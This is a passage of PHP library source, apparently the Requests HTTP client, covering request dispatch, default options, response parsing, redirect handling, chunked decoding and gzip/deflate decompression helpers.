https://tools.ietf.org/html/rfc5789 */ public static function patch($url, $headers, $data = array(), $options = array()) { return self::request($url, $headers, $data, self::PATCH, $options); } /**#@-*/ /** * Main interface for HTTP requests * * This method initiates a request and sends it via a transport before * parsing. * * The `$options` parameter takes an associative array with the following * options: * * - `timeout`: How long should we wait for a response? * Note: for cURL, a minimum of 1 second applies, as DNS resolution * operates at second-resolution only. * (float, seconds with a millisecond precision, default: 10, example: 0.01) * - `connect_timeout`: How long should we wait while trying to connect? * (float, seconds with a millisecond precision, default: 10, example: 0.01) * - `useragent`: Useragent to send to the server * (string, default: php-requests/$version) * - `follow_redirects`: Should we follow 3xx redirects? * (boolean, default: true) * - `redirects`: How many times should we redirect before erroring? * (integer, default: 10) * - `blocking`: Should we block processing on this request? * (boolean, default: true) * - `filename`: File to stream the body to instead. * (string|boolean, default: false) * - `auth`: Authentication handler or array of user/password details to use * for Basic authentication * (Requests_Auth|array|boolean, default: false) * - `proxy`: Proxy details to use for proxy by-passing and authentication * (Requests_Proxy|array|string|boolean, default: false) * - `max_bytes`: Limit for the response body size. * (integer|boolean, default: false) * - `idn`: Enable IDN parsing * (boolean, default: true) * - `transport`: Custom transport. Either a class name, or a * transport object. Defaults to the first working transport from * {@see getTransport()} * (string|Requests_Transport, default: {@see getTransport()}) * - `hooks`: Hooks handler. * (Requests_Hooker, default: new Requests_Hooks()) * - `verify`: Should we verify SSL certificates? Allows passing in a custom * certificate file as a string. (Using true uses the system-wide root * certificate store instead, but this may have different behaviour * across transports.) * (string|boolean, default: library/Requests/Transport/cacert.pem) * - `verifyname`: Should we verify the common name in the SSL certificate? * (boolean, default: true) * - `data_format`: How should we send the `$data` parameter? * (string, one of 'query' or 'body', default: 'query' for * HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH) * * @throws Requests_Exception On invalid URLs (`nonhttp`) * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type (use Requests constants) * @param array $options Options for the request (see description for more information) * @return Requests_Response */ public static function request($url, $headers = array(), $data = array(), $type = self::GET, $options = array()) { if (empty($options['type'])) { $options['type'] = $type; } $options = array_merge(self::get_default_options(), $options); self::set_defaults($url, $headers, $data, $type, $options); $options['hooks']->dispatch('requests.before_request', array(&$url, &$headers, &$data, &$type, &$options)); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $need_ssl = (stripos($url, 'https://') === 0); $capabilities = array('ssl' => $need_ssl); $transport = self::get_transport($capabilities); } $response = $transport->request($url, $headers, $data, $options); $options['hooks']->dispatch('requests.before_parse', array(&$response, $url, $headers, $data, $type, $options)); return self::parse_response($response, $url, $headers, $data, $options); } /** * Send multiple HTTP requests simultaneously * * The `$requests` parameter takes an associative or indexed array of * request fields. The key of each request can be used to match up the * request with the returned data, or with the request passed into your * `multiple.request.complete` callback. * * The request fields value is an associative array with the following keys: * * - `url`: Request URL Same as the `$url` parameter to * {@see Requests::request} * (string, required) * - `headers`: Associative array of header fields. Same as the `$headers` * parameter to {@see Requests::request} * (array, default: `array()`) * - `data`: Associative array of data fields or a string. Same as the * `$data` parameter to {@see Requests::request} * (array|string, default: `array()`) * - `type`: HTTP request type (use Requests constants). Same as the `$type` * parameter to {@see Requests::request} * (string, default: `Requests::GET`) * - `cookies`: Associative array of cookie name to value, or cookie jar. * (array|Requests_Cookie_Jar) * * If the `$options` parameter is specified, individual requests will * inherit options from it. This can be used to use a single hooking system, * or set all the types to `Requests::POST`, for example. * * In addition, the `$options` parameter takes the following global options: * * - `complete`: A callback for when a request is complete. Takes two * parameters, a Requests_Response/Requests_Exception reference, and the * ID from the request array (Note: this can also be overridden on a * per-request basis, although that's a little silly) * (callback) * * @param array $requests Requests data (see description for more information) * @param array $options Global and default options (see {@see Requests::request}) * @return array Responses (either Requests_Response or a Requests_Exception object) */ public static function request_multiple($requests, $options = array()) { $options = array_merge(self::get_default_options(true), $options); if (!empty($options['hooks'])) { $options['hooks']->register('transport.internal.parse_response', array('Requests', 'parse_multiple')); if (!empty($options['complete'])) { $options['hooks']->register('multiple.request.complete', $options['complete']); } } foreach ($requests as $id => &$request) { if (!isset($request['headers'])) { $request['headers'] = array(); } if (!isset($request['data'])) { $request['data'] = array(); } if (!isset($request['type'])) { $request['type'] = self::GET; } if (!isset($request['options'])) { $request['options'] = $options; $request['options']['type'] = $request['type']; } else { if (empty($request['options']['type'])) { $request['options']['type'] = $request['type']; } $request['options'] = array_merge($options, $request['options']); } self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']); // Ensure we only hook in once if ($request['options']['hooks'] !== $options['hooks']) { $request['options']['hooks']->register('transport.internal.parse_response', array('Requests', 'parse_multiple')); if (!empty($request['options']['complete'])) { $request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']); } } } unset($request); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $transport = self::get_transport(); } $responses = $transport->request_multiple($requests, $options); foreach ($responses as $id => &$response) { // If our hook got messed with somehow, ensure we end up with the // correct response if (is_string($response)) { $request = $requests[$id]; self::parse_multiple($response, $request); $request['options']['hooks']->dispatch('multiple.request.complete', array(&$response, $id)); } } return $responses; } /** * Get the default options * * @see Requests::request() for values returned by this method * @param boolean $multirequest Is this a multirequest? * @return array Default option values */ protected static function get_default_options($multirequest = false) { $defaults = array( 'timeout' => 10, 'connect_timeout' => 10, 'useragent' => 'php-requests/' . self::VERSION, 'protocol_version' => 1.1, 'redirected' => 0, 'redirects' => 10, 'follow_redirects' => true, 'blocking' => true, 'type' => self::GET, 'filename' => false, 'auth' => false, 'proxy' => false, 'cookies' => false, 'max_bytes' => false, 'idn' => true, 'hooks' => null, 'transport' => null, 'verify' => self::get_certificate_path(), 'verifyname' => true, ); if ($multirequest !== false) { $defaults['complete'] = null; } return $defaults; } /** * Get default certificate path. * * @return string Default certificate path. */ public static function get_certificate_path() { if (!empty(self::$certificate_path)) { return self::$certificate_path; } return dirname(__FILE__) . '/Requests/Transport/cacert.pem'; } /** * Set default certificate path. * * @param string $path Certificate path, pointing to a PEM file. */ public static function set_certificate_path($path) { self::$certificate_path = $path; } /** * Set the default values * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type * @param array $options Options for the request * @return array $options */ protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) { if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) { throw new Requests_Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url); } if (empty($options['hooks'])) { $options['hooks'] = new Requests_Hooks(); } if (is_array($options['auth'])) { $options['auth'] = new Requests_Auth_Basic($options['auth']); } if ($options['auth'] !== false) { $options['auth']->register($options['hooks']); } if (is_string($options['proxy']) || is_array($options['proxy'])) { $options['proxy'] = new Requests_Proxy_HTTP($options['proxy']); } if ($options['proxy'] !== false) { $options['proxy']->register($options['hooks']); } if (is_array($options['cookies'])) { $options['cookies'] = new Requests_Cookie_Jar($options['cookies']); } elseif (empty($options['cookies'])) { $options['cookies'] = new Requests_Cookie_Jar(); } if ($options['cookies'] !== false) { $options['cookies']->register($options['hooks']); } if ($options['idn'] !== false) { $iri = new Requests_IRI($url); $iri->host = Requests_IDNAEncoder::encode($iri->ihost); $url = $iri->uri; } // Massage the type to ensure we support it. $type = strtoupper($type); if (!isset($options['data_format'])) { if (in_array($type, array(self::HEAD, self::GET, self::DELETE), true)) { $options['data_format'] = 'query'; } else { $options['data_format'] = 'body'; } } } /** * HTTP response parser * * @throws Requests_Exception On missing head/body separator (`requests.no_crlf_separator`) * @throws Requests_Exception On missing head/body separator (`noversion`) * @throws Requests_Exception On missing head/body separator (`toomanyredirects`) * * @param string $headers Full response text including headers and body * @param string $url Original request URL * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects * @return Requests_Response */ protected static function parse_response($headers, $url, $req_headers, $req_data, $options) { $return = new Requests_Response(); if (!$options['blocking']) { return $return; } $return->raw = $headers; $return->url = (string) $url; $return->body = ''; if (!$options['filename']) { $pos = strpos($headers, "\r\n\r\n"); if ($pos === false) { // Crap! throw new Requests_Exception('Missing header/body separator', 'requests.no_crlf_separator'); } $headers = substr($return->raw, 0, $pos); // Headers will always be separated from the body by two new lines - `\n\r\n\r`. $body = substr($return->raw, $pos + 4); if (!empty($body)) { $return->body = $body; } } // Pretend CRLF = LF for compatibility (RFC 2616, section 19.3) $headers = str_replace("\r\n", "\n", $headers); // Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2) $headers = preg_replace('/\n[ \t]/', ' ', $headers); $headers = explode("\n", $headers); preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches); if (empty($matches)) { throw new Requests_Exception('Response could not be parsed', 'noversion', $headers); } $return->protocol_version = (float) $matches[1]; $return->status_code = (int) $matches[2]; if ($return->status_code >= 200 && $return->status_code < 300) { $return->success = true; } foreach ($headers as $header) { list($key, $value) = explode(':', $header, 2); $value = trim($value); preg_replace('#(\s+)#i', ' ', $value); $return->headers[$key] = $value; } if (isset($return->headers['transfer-encoding'])) { $return->body = self::decode_chunked($return->body); unset($return->headers['transfer-encoding']); } if (isset($return->headers['content-encoding'])) { $return->body = self::decompress($return->body); } //fsockopen and cURL compatibility if (isset($return->headers['connection'])) { unset($return->headers['connection']); } $options['hooks']->dispatch('requests.before_redirect_check', array(&$return, $req_headers, $req_data, $options)); if ($return->is_redirect() && $options['follow_redirects'] === true) { if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) { if ($return->status_code === 303) { $options['type'] = self::GET; } $options['redirected']++; $location = $return->headers['location']; if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) { // relative redirect, for compatibility make it absolute $location = Requests_IRI::absolutize($url, $location); $location = $location->uri; } $hook_args = array( &$location, &$req_headers, &$req_data, &$options, $return, ); $options['hooks']->dispatch('requests.before_redirect', $hook_args); $redirected = self::request($location, $req_headers, $req_data, $options['type'], $options); $redirected->history[] = $return; return $redirected; } elseif ($options['redirected'] >= $options['redirects']) { throw new Requests_Exception('Too many redirects', 'toomanyredirects', $return); } } $return->redirects = $options['redirected']; $options['hooks']->dispatch('requests.after_request', array(&$return, $req_headers, $req_data, $options)); return $return; } /** * Callback for `transport.internal.parse_response` * * Internal use only. Converts a raw HTTP response to a Requests_Response * while still executing a multiple request. * * @param string $response Full response text including headers and body (will be overwritten with Response instance) * @param array $request Request data as passed into {@see Requests::request_multiple()} * @return null `$response` is either set to a Requests_Response instance, or a Requests_Exception object */ public static function parse_multiple(&$response, $request) { try { $url = $request['url']; $headers = $request['headers']; $data = $request['data']; $options = $request['options']; $response = self::parse_response($response, $url, $headers, $data, $options); } catch (Requests_Exception $e) { $response = $e; } } /** * Decoded a chunked body as per RFC 2616 * * @see https://tools.ietf.org/html/rfc2616#section-3.6.1 * @param string $data Chunked body * @return string Decoded body */ protected static function decode_chunked($data) { if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) { return $data; } $decoded = ''; $encoded = $data; while (true) { $is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches); if (!$is_chunked) { // Looks like it's not chunked after all return $data; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers return $decoded; } $chunk_length = strlen($matches[0]); $decoded .= substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { return $decoded; } } // We'll never actually get down here // @codeCoverageIgnoreStart } // @codeCoverageIgnoreEnd /** * Convert a key => value array to a 'key: value' array for headers * * @param array $array Dictionary of header values * @return array List of headers */ public static function flatten($array) { $return = array(); foreach ($array as $key => $value) { $return[] = sprintf('%s: %s', $key, $value); } return $return; } /** * Convert a key => value array to a 'key: value' array for headers * * @codeCoverageIgnore * @deprecated Misspelling of {@see Requests::flatten} * @param array $array Dictionary of header values * @return array List of headers */ public static function flattern($array) { return self::flatten($array); } /** * Decompress an encoded body * * Implements gzip, compress and deflate. Guesses which it is by attempting * to decode. * * @param string $data Compressed data in one of the above formats * @return string Decompressed string */ public static function decompress($data) { if (substr($data, 0, 2) !== "\x1f\x8b" && substr($data, 0, 2) !== "\x78\x9c") { // Not actually compressed. Probably cURL ruining this for us. return $data; } if (function_exists('gzdecode')) { // phpcs:ignore PHPCompatibility.FunctionUse.NewFunctions.gzdecodeFound -- Wrapped in function_exists() for PHP 5.2. $decoded = @gzdecode($data); if ($decoded !== false) { return $decoded; } } if (function_exists('gzinflate')) { $decoded = @gzinflate($data); if ($decoded !== false) { return $decoded; } } $decoded = self::compatible_gzinflate($data); if ($decoded !== false) { return $decoded; } if (function_exists('gzuncompress')) { $decoded = @gzuncompress($data); if ($decoded !== false) { return $decoded; } } return $data; } /** * Decompression of deflated string while staying compatible with the majority of servers. * * Certain Servers will return deflated data with headers which PHP's gzinflate() * function cannot handle out of the box. The following function has been created from * various snippets on the gzinflate() PHP documentation. * * Warning: Magic numbers within. Due to the potential different formats that the compressed * data may be returned in, some "magic offsets" are needed to ensure proper decompression * takes place. For a simple progmatic way to determine the magic offset in use, see: * https://core.trac.wordpress.org/ticket/18273 * * @since 2.8.1 * @link https://core.trac.wordpress.org/ticket/18273 * @link https://secure.php.net/manual/en/function.gzinflate.php#70875 * @link https://secure.php.net/manual/en/function.gzinflate.php#77336 * * @param string $gz_data String to decompress. * @return string|bool False on failure. */ public static function compatible_gzinflate($gz_data) { // Compressed data might contain a full zlib header, if so strip it for // gzinflate() if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") { $i = 10; $flg = ord(substr($gz_data, 3, 1)); if ($flg > 0) { if ($flg & 4) { list($xlen) = unpack('v', substr($gz_data, $i, 2)); $i += 2 + $xlen; } if ($flg & 8) { $i = strpos($gz_data, "\0", $i) + 1; } if ($flg & 16) { $i = strpos($gz_data, "\0", $i) + 1; } if ($flg & 2) { $i += 2; } } $decompressed = self::compatible_gzinflate(substr($gz_data, $i)); if ($decompressed !== false) { return $decompressed; } } // If the data is Huffman Encoded, we must first strip the leading 2 // byte Huffman marker for gzinflate() // The response is Huffman coded by many compressors such as // java.util.zip.Deflater, Ruby’s Zlib::Deflate, and .NET's // System.IO.Compression.DeflateStream. // // See https://decompres.blogspot.com/ for a quick explanation of this // data type $huffman_encoded = false; // low nibble of first byte should be 0x08 list(, $first_nibble) = unpack('h', $gz_data); // First 2 bytes should be divisible by 0x1F list(, $first_two_bytes) = unpack('n', $gz_data); if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) { $huffman_encoded = true; } if ($huffman_encoded) { $decompressed = @gzinflate(substr($gz_data, 2)); if ($decompressed !== false) { return $decompressed; } } if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") { // ZIP file format header // Offset 6: 2 bytes, General-purpose field // Offset 26: 2 bytes, filename length // Offset 28: 2 bytes, optional field length // Offset 30: Filename field, followed by optional field, followed // immediately by data list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2)); // If the file has been compressed on the fly, 0x08 bit is set of // the general purpose field. We can use this to differentiate // between a compressed document, and a ZIP file $zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08); if (!$zip_compressed_on_the_fly) { // Don't attempt to decode a compressed zip file return $gz_data; } // Determine the first byte of data, based on the above ZIP header // offsets: $first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4))); $decompressed = @gzinflate(substr($gz_data, 30 + $first_file_start)); if ($decompressed !== false) { return $decompressed; } return false; } // Finally fall back to straight gzinflate $decompressed = @gzinflate($gz_data); if ($decompressed !== false) { return $decompressed; } // Fallback for all above failing, not expected, but included for // debugging and preventing regressions and to track stats $decompressed = @gzinflate(substr($gz_data, 2)); if ($decompressed !== false) { return $decompressed; } return false; } public static function match_domain($host, $reference) { // Check for a direct match if ($host === $reference) { return true; } // Calculate the valid wildcard match if the host is not an IP address // Also validates that the host has 3 parts or more, as per Firefox's // ruleset. $parts = explode('.', $host); if (ip2long($host) === false && count($parts) >= 3) { $parts[0] = '*'; $wildcard = implode('.', $parts); if ($wildcard === $reference) { return true; } } return false; } }
Close